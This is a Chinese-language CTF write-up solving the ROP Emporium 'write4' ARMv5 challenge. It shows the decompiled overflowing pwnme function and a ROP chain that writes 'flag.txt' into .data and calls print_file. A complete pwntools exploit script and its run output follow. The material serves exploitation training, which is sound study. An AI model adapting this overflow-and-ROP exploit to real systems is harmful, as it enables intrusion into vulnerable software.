OneShell

I fight for a brighter tomorrow

0%

write4_armel

存在漏洞的函数pwnme在libwrite4动态库里面,动态库中提供了一个print_file函数,用来打印指定路径的文件内容。因此这道题目的解法就是将字符串传递给print_file函数执行。
pwnme函数还是老样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
int pwnme()
{
char s[36]; // [sp+0h] [bp-24h] BYREF

setvbuf((FILE *)stdout, 0, 2, 0);
puts("write4 by ROP Emporium");
puts("ARMv5\n");
memset(s, 0, 0x20u);
puts("Go ahead and give me the input already!\n");
printf("> ");
read(0, s, 0x200u);
return puts("Thank you!");
}

print_file函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall print_file(const char *a1)
{
char s[36]; // [sp+8h] [bp-2Ch] BYREF
FILE *stream; // [sp+2Ch] [bp-8h]

stream = fopen(a1, "r");
if ( !stream )
{
printf("Failed to open file: %s\n", a1);
exit(1);
}
fgets(s, 33, stream);
puts(s);
return fclose(stream);
}

利用

函数pwnme中的缓冲区s起始地址在FP-0x24,函数返回地址保存在FP,因此依旧使用0x24个字节填充准备覆盖返回地址。
gadgets需要能够从栈上读取路径字符串到某个特定的地址,由于栈加载地址未知(实际上也是已知),因此将字符串地址写入到.data中。找到如下:

1
2
# ROPgadget --binary write4_armv5 | grep "pop" | grep "str"
0x000105ec : str r3, [r4] ; pop {r3, r4, pc} ; pop {r0, pc}

那么利用方式就是:

  1. 将字符串和.data的地址写入到栈上,然后POP到R3和R4中
  2. 调用STR指令将字符串写入到.data
  3. 从栈上继续POP .data的地址到R0,调用print_file函数

ROP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rop = b"A" * 0x24
rop += p32(pop_r34_pc) # pop {r3, r4, pc}
rop += b"flag" # r3
rop += p32(addr_of_data) # r4
rop += p32(str_r3_r4) # str r3, [r4] ; pop {r3, r4, pc}

rop += b".txt"
rop += p32(addr_of_data + 4)
rop += p32(str_r3_r4) # str r3, [r4] ; pop {r3, r4, pc}

rop += b"AAAA"
rop += b"AAAA"
rop += p32(pop_r0_pc)

rop += p32(addr_of_data)
rop += p32(addr_of_print_file)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

BINARY = "./write4_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

pop_r34_pc = 0x000105F0
pop_r0_pc = 0x000105F4
str_r3_r4 = 0x000105ec

addr_of_data = 0x00021024
addr_of_print_file = 0x000104B0

p = remote("0.0.0.0", 8888)

rop = b"A" * 0x24
rop += p32(pop_r34_pc) # pop {r3, r4, pc}
rop += b"flag" # r3
rop += p32(addr_of_data) # r4
rop += p32(str_r3_r4) # str r3, [r4] ; pop {r3, r4, pc}

rop += b".txt"
rop += p32(addr_of_data + 4)
rop += p32(str_r3_r4) # str r3, [r4] ; pop {r3, r4, pc}

rop += b"AAAA"
rop += b"AAAA"
rop += p32(pop_r0_pc)

rop += p32(addr_of_data)
rop += p32(addr_of_print_file)

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

执行结果如下:

1
2
3
4
5
6
7
8
9
10
[*] '/home/utest/rop_practice/armv5/write4_armv5/write4_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
RUNPATH: b'.'
[+] Opening connection to 0.0.0.0 on port 8888: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 0.0.0.0 port 8888